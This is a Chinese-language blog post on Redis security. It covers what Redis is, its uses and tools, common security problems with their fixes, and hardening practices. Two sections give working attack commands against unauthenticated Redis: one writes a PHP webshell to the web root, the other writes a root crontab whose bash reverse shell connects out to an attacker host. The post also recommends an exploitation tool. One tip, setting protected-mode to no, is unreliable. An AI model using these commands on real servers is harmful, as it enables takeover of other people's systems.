Redis安全
免责声明:本文仅做分享~
听说 Redis出网 就容易挨打 ???...
1. 什么是 Redis?
Redis (Remote Dictionary Server) 是一个开源的内存数据结构存储系统,广泛用于缓存、消息队列、会话管理、排行榜、实时分析等场景。Redis 支持多种数据结构,如字符串、哈希、列表、集合、有序集合、位图、HyperLogLogs 及 Geospatial 索引。
Redis 特点:
-
内存存储:数据存储在内存中,提供高性能和低延迟的读写操作。
-
持久化:支持将内存中的数据异步地保存到硬盘,避免数据丢失。
-
多种数据结构:提供丰富的数据结构支持,能处理复杂的数据管理需求。
-
主从复制:支持主从架构,提供高可用性和数据冗余。
-
Lua 脚本:支持使用 Lua 脚本执行原子操作,简化复杂逻辑。
-
事务支持:提供基本的事务功能,保证命令的原子性。
-
丰富的客户端:支持多种编程语言的客户端库。
2. Redis 的常见使用场景
Redis 可以应用于多个场景中,以下是一些常见的应用场景:
1. 缓存:
Redis 作为缓存层,存储热点数据,减少数据库的压力,提升应用的响应速度。由于 Redis 的高性能,尤其适合需要快速访问频繁使用的数据的场景。
2. 消息队列:
Redis 的 List
数据结构可以用来实现生产者-消费者模式,从而支持消息队列功能。LPUSH
和 RPOP
命令可以用来模拟消息的生产和消费。
3. 会话管理:
由于 Redis 可以存储键值对,它常用于存储用户会话信息,并且可以设置会话的过期时间。
4. 排行榜:
Redis 支持 Sorted Set
数据结构,能通过分数排序存储的数据。因此,Redis 常用于实现实时排行榜应用,例如游戏或社交媒体的排名系统。
5. 实时分析:
Redis 的高吞吐量和低延迟特点使其适合用于实时数据分析,帮助应用程序实时处理和展示最新数据。
6. 分布式锁:
Redis 可以实现分布式锁,帮助多个实例之间协调,防止多个节点同时执行相同任务,保证数据的一致性。
3. Redis 的资源与工具
以下是一些 Redis 的学习资源和开发工具,帮助开发者更好地理解和使用 Redis。
1. Redis 官网:
Redis - The Real-time Data Platform Redis 的官方站点,提供了完整的文档、教程、下载和新闻等。
2. Redis GitHub 仓库:
GitHub - redis/redis: Redis is an in-memory database that persists on disk. The data model is key-value, but many different kind of values are supported: Strings, Lists, Sets, Sorted Sets, Hashes, Streams, HyperLogLogs, Bitmaps. Redis 官方的源代码库,包含 Redis 的最新版本、Issue 讨论和贡献指南。
3. Redis 客户端:
Redis 支持多种编程语言的客户端工具,以下是几个流行的 Redis 客户端:
-
Python:
redis-py
(GitHub链接) -
Node.js:
ioredis
(GitHub链接) -
Java:
Jedis
(GitHub链接) -
Go:
go-redis
(GitHub链接)
4. Redis 学习资源:
-
Redis 教程(简体中文): Redis 教程 | 菜鸟教程 包含 Redis 的基础知识介绍,适合入门级学习。
-
Redis Labs 文档: https://docs.redislabs.com/ 提供 Redis Enterprise 相关的高级功能文档。
5. Redis 监控与管理工具:
-
RedisInsight: Redis Insight 官方的 Redis 管理工具,提供可视化操作和监控功能,帮助开发者调试、分析和优化 Redis 实例。
-
Prometheus Redis Exporter: GitHub - oliver006/redis_exporter: Prometheus Exporter for ValKey & Redis Metrics. Supports ValKey and Redis 2.x, 3.x, 4.x, 5.x, 6.x, and 7.x 用于将 Redis 性能指标导出到 Prometheus 中进行监控和可视化。
-
Redsmin: Redsmin - Redis GUI 在线的 Redis 管理和监控平台,支持实时分析和调试。
4. Redis 的安全问题
全文干货!Redis漏洞利用详解 (上)
全文干货!Redis漏洞利用详解 (下)
Redis
默认6379
端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限.
1. 未授权访问
问题: Redis 默认在不设置密码的情况下监听 0.0.0.0,这意味着任何人都可以连接并访问 Redis。
解决方案:
-
绑定特定 IP 地址:修改
redis.conf
配置文件,将bind
选项设置为仅绑定到本地或特定的 IP 地址,例如:bind 127.0.0.1 # 将bind前面#注释符去掉,将protected-mode 后面改为no。
-
启用密码保护:通过
requirepass
设置 Redis 的访问密码: -
配置文件
redis.conf
:requirepass "your_password"
2. 弱密码和暴力破解
问题: 即便设置了访问密码,使用弱密码依然容易被暴力破解工具猜测到。
解决方案:
-
使用强密码,并定期更换密码。
-
配合防火墙或 IP 限制,防止外部的恶意访问。
-
启用 Redis ACL(Access Control List),为不同用户提供不同的权限。
3. 数据泄露
问题: Redis 数据存储在内存中,如果未加密传输,可能会在传输过程中被截获。
解决方案:
-
启用 Redis 的 TLS/SSL 支持,确保数据在网络传输时被加密。 配置文件示例:
tls-port 6379 tls-cert-file /etc/ssl/redis.crt tls-key-file /etc/ssl/redis.key tls-ca-cert-file /etc/ssl/ca.crt
4. 拒绝服务攻击 (DoS)
问题: 恶意用户可能通过发送大量耗费资源的请求(例如大批量数据插入),导致 Redis 实例性能下降或宕机。
解决方案:
-
配置 Redis 的最大客户端连接数
maxclients
以及最大内存使用maxmemory
,防止单个实例被过度消耗资源:maxclients 10000 maxmemory 1gb
5. 持久化文件的安全性
问题: Redis 支持将数据持久化到磁盘,但持久化文件如果未保护好,可能会被攻击者篡改或获取。
解决方案:
-
确保 RDB 和 AOF 文件的存储路径有正确的权限设置,防止未经授权的用户读取或写入。
-
定期备份持久化文件,并启用加密备份功能。
6.利用redis写webshell
在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录是/var/www/html
执行下面命令即可。
config set dir /var/www/html #设置目录 config set dbfilename kali.php #生成文件 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容 save#保存 #完成后,访问文件
7.反弹shell
用redis
创建定时任务文件 --> 通过定时任务来上线nc
config set dir /var/spool/cron/crontabs config set dbfilename root set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n" save # nc -lvvp 5555
5. Redis 安全最佳实践
1. 限制网络访问:
-
使用防火墙规则或
iptables
限制 Redis 的访问来源,避免暴露在公共网络上。 -
在云服务中,使用专用的 VPC(虚拟私有云)或内部网络连接 Redis 实例。
2. 定期更新和打补丁:
-
保持 Redis 版本的最新状态,及时应用安全补丁,防止已知的漏洞被利用。
3. 使用隔离环境:
-
将 Redis 部署在独立的服务器或容器中,避免与其他应用程序共享同一物理或虚拟环境,减少相互影响的风险。
4. 使用监控工具:
-
部署 Redis 监控工具,如 RedisInsight 或 Prometheus,用于实时监控 Redis 的运行状态、内存占用和性能指标。
5. 开启日志记录:
-
启用日志功能,定期检查 Redis 日志,以便发现异常行为并及时处理。
工具
RedisExp
GitHub - yuyan-sec/RedisEXP: Redis 漏洞利用工具
RedisExp 是一个用于利用 Redis 漏洞的多功能工具,支持执行 Redis 命令、主从复制、DLL/SO 加载、文件上传、计划任务写入、SSH 公钥配置等操作。该工具允许用户通过不同的模块实现远程命令执行、上传恶意文件以及劫持 DLL。
...